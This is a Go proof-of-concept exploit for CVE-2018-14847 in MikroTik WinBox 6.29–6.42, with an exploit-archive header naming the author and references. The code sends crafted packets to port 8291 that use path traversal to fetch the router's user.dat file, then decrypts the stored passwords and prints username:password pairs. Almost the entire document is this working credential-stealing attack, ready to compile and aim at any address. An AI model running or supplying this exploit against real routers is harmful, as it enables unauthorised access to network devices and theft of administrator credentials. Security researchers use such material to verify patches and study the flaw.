# Title: Mikrotik WinBox 6.42 - Credential Disclosure ( golang edition )
# Author: Maxim Yefimenko ( @slider )
# Date: 2018-08-06
# Sotware Link: https://mikrotik.com/download
# Vendor Page: https://www.mikrotik.com/
# Version: 6.29 - 6.42
# Tested on: Fedora 28 \ Debian 9 \ Windows 10 \ Android ( wherever it was possible to compile.. it's golang ^_^ )
# CVE: CVE-2018-14847
# References:
# ( Alireza Mosajjal ) https://github.com/mosajjal https://n0p.me/winbox-bug-dissection/
# ( BasuCert ) https://github.com/BasuCert/WinboxPoC
# ( manio ) https://github.com/manio/mtpass/blob/master/mtpass.cpp
# and special thanks to Dmitriy_Area51
*/
package main
import (
"crypto/md5"
"fmt"
"net"
"os"
"strings"
"time"
)
var (
a = []byte{0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00}
b = []byte{0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00}
buf = make([]byte, 1024*8)
)
func checkErr(err error) {
if err != nil {
fmt.Println("Error:" + err.Error())
}
}
func decryptPassword(user []byte, passEnc []byte) string {
var passw []byte
hasher := md5.New()
hasher.Write(user)
hasher.Write([]byte("283i4jfkai3389"))
key := hasher.Sum(nil)
for i := 0; i < len(passEnc); i++ {
passw = append(passw, passEnc[i]^key[i%len(key)])
}
return string(ASCIIonly(passw))
}
func ASCIIonly(s []byte) []byte {
for i, c := range s {
if c < 32 || c > 126 {
return s[:i]
}
}
return s
}
func extractPass(buff []byte) (s []string) {
var (
usr []byte
pwd []byte
)
//searching for StartOfRecord
for i := 0; i < len(buff); i++ {
if i+2 >= len(buff) {
break
}
if (buff[i] == 0x4d) && (buff[i+1] == 0x32) && (buff[i+2] == 0x0a || buff[i+2] == 0x10) {
// fmt.Printf("Probably user record at offset 0x%.5x\n", i)
//some bytes ahead is enable/disable flag
i += int((buff[i+2] - 5))
if i >= len(buff) {
break
}
//searching for StartOfRecNumber
if i+3 >= len(buff) {
break
}
for !((buff[i] == 0x01) && ((buff[i+1] == 0x00) || (buff[i+1] == 0x20)) && (buff[i+3] == 0x09 || buff[i+3] == 0x20)) {
i++
if i+3 >= len(buff) {
break
}
}
i += 4
if i >= len(buff) {
break
}
// fmt.Printf("SORn: 0x%X\n", i)
// comment?
i += 18
if (i + 4) >= len(buff) {
break
}
if (!((buff[i+1] == 0x11) && (buff[i+2] == 0x20) && (buff[i+3] == 0x20) && (buff[i+4] == 0x21))) && (buff[i-5] == 0x03 && (buff[i] != 0x00)) {
if (i+1)+int(buff[i]) >= len(buff) {
break
}
i += int(buff[i])
} else {
i -= 18
}
//searching for StartOfPassword
if i+4 >= len(buff) {
break
}
for !((buff[i] == 0x11) && (buff[i+3] == 0x21) && ((buff[i+4] % byte(0x10)) == 0)) {
i++
if i+4 >= len(buff) {
break
}
}
i += 5
if (i + 3) >= len(buff) {
break
}
if (buff[i-1] != 0x00) && !((buff[i] == 0x01) && ((buff[i+1] == 0x20 && buff[i+2] == 0x20) || (buff[i+1] == 0x00 && buff[i+2] == 0x00)) && (buff[i+3] == 0x21)) {
pwd = buf[i-1+1 : int(buf[i-1])+i-1+1]
i += int(buff[i-1])
}
//searching for StartOfUsername
if i+3 >= len(buff) {
break
}
for !((buff[i] == 0x01) && (buff[i+3] == 0x21)) {
i++
if i+3 >= len(buff) {
break
}
}
i += 4
if i >= len(buff) {
break
}
if buff[i] != 0x00 {
if i+int(buff[i]) >= len(buff) {
break
}
usr = ASCIIonly(buff[i+1 : int(buff[i])+i+1])
i += int(buff[i])
}
decrypted := decryptPassword(usr, pwd)
//fmt.Printf(" --> %s\t%s\n", buff[i], decrypted)
if len(usr) != 0 {
s = append(s, strings.Join([]string{string(usr), string(decrypted)}, ":"))
}
}
}
return s
}
func main() {
if len(os.Args) < 2 {
fmt.Printf(" [ usage: %s 192.168.88.1\n\n", os.Args[0])
os.Exit(0)
}
conn, err := net.DialTimeout("tcp", os.Args[1]+":8291", time.Duration(3*time.Second))
if err != nil {
fmt.Println(err.Error())
return
}
defer conn.Close()
conn.Write(a)
reqLen, err := conn.Read(buf)
checkErr(err)
if reqLen < 38 {
panic("First packet is too small")
}
b[19] = buf[38]
conn.Write(b)
reqLen, err = conn.Read(buf)
checkErr(err)
db := buf[:reqLen]
s := extractPass(db)
for i, acc := range s {
data := strings.SplitN(acc, ":", 2)
fmt.Printf(" [%d] %s\t%s\n", i, data[0], data[1])
}
}
